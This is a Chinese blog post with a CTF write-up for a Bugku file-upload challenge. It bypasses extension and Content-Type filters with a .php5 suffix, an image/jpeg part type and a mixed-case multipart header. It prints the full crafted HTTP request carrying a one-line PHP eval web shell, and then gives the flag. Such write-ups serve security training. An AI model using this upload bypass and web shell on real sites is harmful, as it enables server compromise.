美文网首页
bugku-求getshell

bugku-求getshell

作者: V0W | 来源:发表于2018-07-01 21:07 被阅读0次

原题链接

http://120.24.86.145:8002/web9/

分析

上传题:
一共三个过滤

  • 请求头部的 Content-Type
  • 文件后缀
  • 请求数据的Content-Type

这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过

接下来,请求数据的Content-Type字段改为 image/jpeg

但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: mULtipart/form-data;

最终修改后的数据包为:

POST /web9/index.php HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://120.24.86.145:8002/web9/index.php
Content-Type: mULtipart/form-data;  boundary=---------------------------4827543632391   #修改大小写绕过
Content-Length: 319
Cookie: PHPSESSID=ediihlqlvkd342nl97k5i7s1e4jjfcgh
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------4827543632391
Content-Disposition: form-data; name="file"; filename="vv.php5"     #php5文件后缀没有过滤
Content-Type: image/jpeg        #文件格式修改为图片形式

<?php
eval(@_POST["vv"]);
?>
-----------------------------4827543632391
Content-Disposition: form-data; name="submit"

Submit
-----------------------------4827543632391--

flag

KEY{bb35dc123820e}

知识点

上传漏洞,过滤

相关文章

  • bugku-求getshell

    原题链接 http://120.24.86.145:8002/web9/ 分析 上传题:一共三个过滤 请求头部的 ...

  • Bugku-今日练习

    求getshell(未完待续) 求getshellhttp://120.24.86.145:8002/web9/ ...

  • CTF练习平台——WEB(7)

    1、求getshell 尝试上传一张图片,抓包后更改后缀为php,但是失败了 尝试php2,php3,php4……...

  • 2019-03-31

    Bugku-代码审计 https://ctf.bugku.com/challenges 1、extract变量覆盖...

  • CTF练习平台(七)

    求getshell 打开题目链接,让上传一个图片而不是PHP文件,但是根据惯例,只有成功上传一个php文件才能拿到...

  • BugKu-网站被黑

    BugKu-网站被黑 原题链接 http://120.24.86.145:8002/webshell/ 分析 一眼...

  • CTF-python练习

    BUGKU-速度要快 题目网址:http://120.24.86.145:8002/web6/ 速度要快,查看源码...

  • BugKu-多次

    多次 原题链接 http://120.24.86.145:9004 分析 单引号出错 加上%23,发现不出错了 加...

  • Bugku-猜

    给的是一张图片,但是题目标题是猜..推测应该不是考察的隐写术 要猜图片人的名字,但图片只给了半张脸,想到百度识图。...

  • phpmyadmin getshell

    1.getshell条件 使用root账户登陆phpmyadmin 2.Mysql变量设置 1.general l...

网友评论

      本文标题:bugku-求getshell

      本文链接:https://www.haomeiwen.com/subject/oyyhuftx.html